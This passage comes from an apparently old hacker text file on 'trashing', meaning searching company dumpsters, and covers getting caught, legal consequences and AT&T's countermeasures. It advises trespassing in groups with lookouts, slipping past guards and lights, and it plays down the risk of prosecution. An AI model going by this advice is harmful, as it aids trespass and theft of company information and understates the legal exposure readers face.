  777. forest or your home (only if you live nearby because the trash can be very
  778. heavy if you don't have a car) for example.
  779.  
  780. GETTING CAUGHT
  781. --------------
  782.     The probability of getting caught is very slim (except for AT&T offices
  783. and things of that sort).  Here is a true life example:
  784.  
  785. It was a cold and dark night and a few friends and I were only on our seventh
  786. time of trashing.  All was cool until, from a distant side door a guard came
  787. running out to see what we were doing.  Having been surprised and having no
  788. way of escaping (I was buried deep in the garbage and certainly had no chance
  789. to escape), we waited for the guard to arrive.  the guard rushed over and
  790. said, "What are you doing here?  This is private property!"
  791.  
  792. After looking at me and doing a double take he then added, "What the hell are
  793. you doing in there???"  We were quite nervous and after about a minute or so
  794. one of my friends said, "Oh,  we were just walking thru the forest and we
  795. took a short cut thru here."  I thought that that was a stupid thing to say
  796. becuase why would we take a short cut thru a trash dumpster?!!  To my
  797. surprise, however, the guard said, "Well, OK, but don't come around here
  798. again or you will be arrested!"  We left and returned the next day for a
  799. successful night.
  800.  
  801. WHAT THEY CAN DO
  802. ----------------
  803. If you ever get caught, they (the company - usually security) will most
  804. probably let you go and not do anything about it because it sounds pretty
  805. funny saying, "I want him (them) prosecuted for taking out the garbage!"  The
  806. only thing they can really do is to get you for trespassing which they don't
  807. usually do to nice kids anyway, although AT&T has been known to prosecute
  808. anyone caught in their garbage.
  809.  
  810. COMMENTS
  811. --------
  812.     Most of the time, you don't have to worry about food and other
  813. interesting trash (except if you like to recycle used food and in that case
  814. you are probably too fat to fit in a trash dumpster) because big companies
  815. usually have separate dumpsters for cafeteria food.
  816.  
  817. I recommend that you trash with as many people as you can because it will be
  818. much quicker and safer because some people can be "look outs" (do not trash
  819. with over seven people though, because it begins to get noisy).  Don't feel
  820. threatened by bright security lights or guards, they are usually easy to
  821. avoid and since there are not usually bright lights near or on the trash
  822. dumpsters, you will be home free.
  823.  
  824. Of course, all of the above does not count for AT&T.  AT&T has since become
  825. aware of the trasher and has one or even all of the following securities:
  826.     (1)  A lock on the trash dumpster.
  827.     (2)  Dumpsters flooded by bright security lights.
  828.     (3)  Guards located near or sometimes at the dumpsters.
  829.     (4)  Fence and barbed wire enclosing dumpsters.
  830.     (5)  Shredded garbage (the trasher's worst nightmare)
  831.  
  832. There are more, but these are the most popular.
  833.  
  834. Trashing is an art, so if at first you don't succeed, trash, trash again.
  835.  
  836.